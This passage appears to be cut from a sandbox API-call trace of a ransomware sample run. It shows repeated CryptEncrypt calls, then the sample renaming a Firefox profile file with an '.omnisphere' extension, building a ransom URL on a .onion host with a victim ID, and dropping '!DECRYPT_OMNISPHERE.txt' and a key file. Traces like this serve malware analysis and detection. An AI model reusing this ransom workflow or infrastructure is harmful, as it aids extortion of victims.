pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.345] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.346] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.347] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.347] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.347] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.347] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.347] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.347] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.347] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.347] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.348] CryptDestroyKey (hKey=0x1639628) returned 1 [0161.348] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0161.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.348] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.349] GetProcessHeap () returned 0x1600000 [0161.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c6) returned 0x17281a8 [0161.349] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\secmod.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\secmod.db.omnisphere")) returned 1 [0161.350] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db.omnisphere.id" [0161.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\secmod.db.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.351] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.352] CloseHandle (hObject=0x388) returned 1 [0161.352] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.352] CloseHandle (hObject=0x3c0) returned 1 [0161.352] SetEndOfFile (hFile=0x288) returned 1 [0161.353] FlushFileBuffers (hFile=0x288) returned 1 [0161.357] CloseHandle (hObject=0x288) returned 1 [0161.357] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.358] GetProcessHeap () returned 0x1600000 [0161.358] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1747e28 [0161.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.358] GetProcessHeap () returned 0x1600000 [0161.358] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733e50 [0161.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733e50, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.358] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.358] GetProcessHeap () returned 0x1600000 [0161.358] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726758 [0161.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726758, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.358] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.358] GetProcessHeap () returned 0x1600000 [0161.358] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1730c48 [0161.358] PathCombineW (in: pszDest=0x1730c48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.358] GetProcessHeap () returned 0x1600000 [0161.358] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1739cc8 [0161.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.358] WriteFile (in: hFile=0x288, lpBuffer=0x1739cc8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1739cc8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.359] CloseHandle (hObject=0x288) returned 1 [0161.359] GetProcessHeap () returned 0x1600000 [0161.359] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1747e28 | out: hHeap=0x1600000) returned 1 [0161.359] GetProcessHeap () returned 0x1600000 [0161.359] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c6c8 [0161.359] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.359] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.359] CloseHandle (hObject=0x288) returned 1 [0161.359] GetProcessHeap () returned 0x1600000 [0161.360] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0161.360] GetProcessHeap () returned 0x1600000 [0161.360] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172de48 | out: hHeap=0x1600000) returned 1 [0161.360] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, 